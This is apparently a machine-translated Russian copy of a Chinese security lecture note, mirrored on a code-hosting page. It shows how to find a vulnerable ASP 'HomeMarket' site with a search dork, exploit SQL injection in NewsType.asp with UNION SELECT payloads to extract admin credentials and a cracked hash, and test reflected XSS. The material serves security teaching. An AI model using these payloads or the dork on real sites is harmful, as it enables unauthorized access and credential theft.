1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/wizardforcel-mst-sec-lecture-notes

Присоединиться к Gitlife
Откройте для себя и примите участие в публичных проектах с открытым исходным кодом с участием более 10 миллионов разработчиков. Приватные репозитории также полностью бесплатны :)
Присоединиться бесплатно
В этом репозитории не указан файл с открытой лицензией (LICENSE). При использовании обратитесь к конкретному описанию проекта и его зависимостям в коде.
Клонировать/Скачать
实战篇 南方 0day.md 4.4 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
gitlife-traslator Отправлено 27.11.2024 00:48 d9e190e

Мист Уайтхэт: практическое занятие, южное направление, 0day

Преподаватель: gh0stkey (https://www.zhihu.com/people/gh0stkey/answers)

Редактор: Летающий дракон (https://github.com/)

Соглашение: CC BY-NC-SA 4.0 (http://creativecommons.org/licenses/by-nc-sa/4.0/)

Поиск

Ключевые слова: inurl:"HomeMarket.asp".

Загрузка и развёртывание

http://www.jb51.net/article/5336.htm

SQL-инъекция

Мы планируем проверить наличие SQL-инъекций в системе, поскольку код на ASP практически не имеет хорошей фильтрации, обычно можно найти одну уязвимость за другой. Для поиска SQL-инъекции мы можем использовать имена типа sql или conn, а также функции типа execute, чтобы определить местоположение запроса к базе данных.

Например, в строке 14–32 файла NewsType.asp мы обнаружили следующее:

<%
' ...
BigClass=request("BigClass")
SmallClass=request("SmallClass")
' ...
%>
<%
if BigClass<>"" and SmallClass<>"" then
sql="select  * from News where BigClassName='"& BigClass &"' and  SmallClassName='"& SmallClass &"' order by AddDate desc"
set rs=conn.execute(sql)
do while not rs.eof 
%>

Здесь мы видим, что это текстовый параметр, то есть при внедрении нам нужно найти способ закрыть одинарные кавычки. Кроме того, используется база данных Access, и мы не можем использовать -- для комментирования, как в MySQL и SQLServer.

Мы по-прежнему вводим значение SmallClass как ' and '1'='1, создавая URL NewsType.asp?SmallClass=%27%20and%20%271%27=%271`. Всё работает нормально.

Вводим ' and '1'='2, создавая URL NewsType.asp?SmallClass=%27%20and%20%271%27=%272`. Обнаруживаем ошибку.

Затем мы проверяем каталог исходного кода Databases/0791idc.mdb и узнаём, что таблица News содержит десять полей.

Далее мы вводим ' and 1=2 union select 1,2,3,4,5,6,7,8,9,0 from admin where '1'='1 и обнаруживаем, что отображаются значения 2 и 9:

Теперь всё становится проще. Сначала мы смотрим, какие имена пользователей и пароли используются в таблице admin. Мы заменяем 2 на username, а 9 на password.

Затем отправляем f3a976c77dc7264c в pmd5 для расшифровки, получаем 060618.

После этого мы можем получить доступ к бэкэнду через /admin, войти в систему и продолжить получение WebShell.

XSS

Если мы щёлкнем в правом верхнем углу страницы «Свяжитесь с нами», мы увидим, что эти четыре символа появляются в URL страницы, и они также появляются на странице.

Затем мы меняем параметр Title в URL на 1:

Это подсказывает нам, что здесь может быть XSS, поэтому мы меняем его на <script>alert(1)</script>:

Мы видим, что этот элемент появляется в исходном коде.

Приложение

Опубликовать ( 0 )

Вы можете оставить комментарий после Вход в систему

1
https://api.gitlife.ru/oschina-mirror/wizardforcel-mst-sec-lecture-notes.git
git@api.gitlife.ru:oschina-mirror/wizardforcel-mst-sec-lecture-notes.git
oschina-mirror
wizardforcel-mst-sec-lecture-notes
wizardforcel-mst-sec-lecture-notes
master